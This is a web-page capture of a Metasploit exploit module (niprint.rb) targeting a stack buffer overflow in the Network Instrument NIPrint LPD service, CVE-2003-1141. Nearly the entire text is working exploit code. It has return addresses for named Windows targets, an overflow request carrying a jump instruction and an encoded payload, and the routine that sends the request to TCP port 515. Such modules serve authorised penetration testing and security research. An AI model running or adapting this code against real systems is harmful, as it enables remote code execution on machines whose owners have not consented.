Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/lpd/niprint.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'NIPrint LPD Request Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the15Network Instrument NIPrint LPD service. Inspired by16Immunity's VisualSploit :-)17},18'Author' => [ 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22['CVE', '2003-1141'],23['OSVDB', '2774'],24['BID', '8968'],25['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],26],27'Privileged' => false,28'Payload' =>29{30'Space' => 500,31'BadChars' => "\x00\x0a",32'StackAdjustment' => -3500,33},34'Platform' => 'win',35'Targets' =>36[37['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi38['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],39['Windows 7 x64', { 'Ret' => 0x763B35DD }],40],41'DefaultTarget' => 0,42'DisclosureDate' => '2003-11-05'))4344register_options(45[46Opt::RPORT(515)47])48end4950def exploit51connect5253req = rand_text_alphanumeric(8192)54req[ 0, 2] = "\xeb\x33"55req[ 49, 4] = [target.ret].pack('V')56req[ 53, payload.encoded.length ] = payload.encoded5758print_status("Trying target #{target.name}...")59sock.put(req)6061handler62disconnect63end64end656667